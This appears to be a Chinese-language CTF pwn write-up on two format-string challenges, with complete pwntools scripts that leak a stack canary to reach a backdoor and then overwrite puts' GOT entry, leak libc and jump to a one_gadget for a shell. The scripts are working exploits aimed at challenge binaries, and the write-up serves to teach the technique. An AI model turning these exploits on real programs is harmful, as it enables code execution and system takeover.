栈上格式化字符串漏洞泄露内存
checksec指令查看
64位,保护全开
用64位IDA分析,发现有后门
这里我们可以看出只要v6等于v4,就能获取后门。
说一个小知识点:rbp的上面一般就是canary。
从IDA中可以看出,v6就是canary,我们先用格式化字符串去寻找canary。
通过调试会发现偏移为11,此时打印出来的就为canary的地址,然后我们发送v4的时候将canary发送过去就会获取后门
脚本如下:
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
#p=remote("node4.buuoj.cn",29608)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process("./pwn1")
elf=ELF("./pwn1")
def bug():
gdb.attach(p)
pause()
pay=b'%11$p'
#bug()
p.send(pay)
p.recvuntil("0x")
canary=int(p.recv(16),16)
print(str(canary))
pay=str(canary)
bug()
p.send(pay)
p.interactive()
栈上格式化字符串漏洞修改got表
checksec指令查看
用64位IDA打开
经过分析之后,我们可以通过格式化字符串漏洞将puts函数的got表改成main函数,这样的话,当程序执行puts函数的时候实际上是执行main函数,就会再次利用read函数以及printf函数。
接下来我们先寻找函数的偏移(指令为:AAAA%p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p, %p)
我们会发现偏移位6
首先来修改got表
这里,我们就会用到 pay=fmtstr_payload(偏移,{要改的内容:改成什么东西})
接下来再次读入,让程序泄露出llibc基址,然后通过one_gadget库去获取权限
先寻找one_gadget的偏移
在这里,我们用到的是第二个(因为rdx以及r15寄存器都为空)
脚本如下:
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn2")
elf=ELF("./pwn2")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
gdb.attach(p)
pause()
pay=fmtstr_payload(6,{elf.got['puts']:0x4011DD})
bug()
p.send(pay)
pay=b'%7$saaaa'+p64(elf.got['read'])
pause()
p.send(pay)
get_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(get_addr))
libc_base=get_addr-libc.sym['read']
print(hex(libc_base))
one_gadget=libc_base+0xe3b01
pause()
pay=fmtstr_payload(6,{elf.got['puts']:one_gadget})
p.send(pay)
p.interactive()